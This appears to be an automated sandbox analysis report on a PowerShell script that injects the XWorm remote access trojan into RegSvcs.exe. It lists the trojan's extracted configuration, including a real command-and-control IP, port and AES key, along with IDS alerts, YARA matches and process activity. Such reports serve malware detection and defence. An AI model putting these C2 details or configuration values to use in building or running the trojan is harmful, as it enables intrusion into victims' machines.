2025-01-11T10:06:33.133470+0100	2858799	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.powershell.exe.272c9328660.2.raw.unpack

Malware Configuration Extractor: Xworm {"C2 url": ["176.113.115.170"], "Port": 4413, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Multi AV Scanner detection for submitted file

Source: 176.113.115.170.ps1

Virustotal: Detection: 9%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: 176.113.115.170
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: 4413
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: P0WER
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: <Xwormmm>
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: XWorm
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack	String decryptor: USB.exe

Source:

Binary string: #.dll.pdb source: powershell.exe, 00000000.00000002.2207246498.00000272E0650000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 176.113.115.170:4413 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2858801 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound : 176.113.115.170:4413 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2858800 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49718 -> 176.113.115.170:4413
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.6:49718 -> 176.113.115.170:4413
Source: Network traffic	Suricata IDS: 2858799 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49718 -> 176.113.115.170:4413

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 176.113.115.170

Source: global traffic

TCP traffic: 192.168.2.6:49718 -> 176.113.115.170:4413

Source: global traffic

TCP traffic: 192.168.2.6:57846 -> 162.159.36.2:53

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: unknown

DNS traffic detected: query: 18.31.95.13.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.170

Source: global traffic

DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: powershell.exe, 00000000.00000002.2176808391.00000272C94E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8111000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.2176808391.00000272C94E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD348940FA	0_2_00007FFD348940FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34895190	0_2_00007FFD34895190
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3489A5D9	0_2_00007FFD3489A5D9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3489D5CF	0_2_00007FFD3489D5CF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD348979C4	0_2_00007FFD348979C4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34893E65	0_2_00007FFD34893E65
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3489D65D	0_2_00007FFD3489D65D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34893BFB	0_2_00007FFD34893BFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127B178	4_2_0127B178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01276340	4_2_01276340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012784B8	4_2_012784B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275A70	4_2_01275A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127BEB8	4_2_0127BEB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275728	4_2_01275728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01270FA0	4_2_01270FA0

Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.powershell.exe.272c85102e0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.powershell.exe.272c9328660.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.powershell.exe.272c85102e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.powershell.exe.272c9328660.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal100.troj.evad.winPS1@4/5@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\aaFTu0nm8LZLCn72
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2616:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wef4roxy.0ja.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 176.113.115.170.ps1

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD348909CA push E85D605Dh; ret	0_2_00007FFD348909F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3489540F push ds; retf	0_2_00007FFD34895411
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD34894C00 push E8FFFFFFh; iretd	0_2_00007FFD34894C0D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD3489D7CD push E8000020h; ret	0_2_00007FFD3489D7F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01278080 push eax; iretd	4_2_01278081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01274CC8 pushad ; retf	4_2_01274CD1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
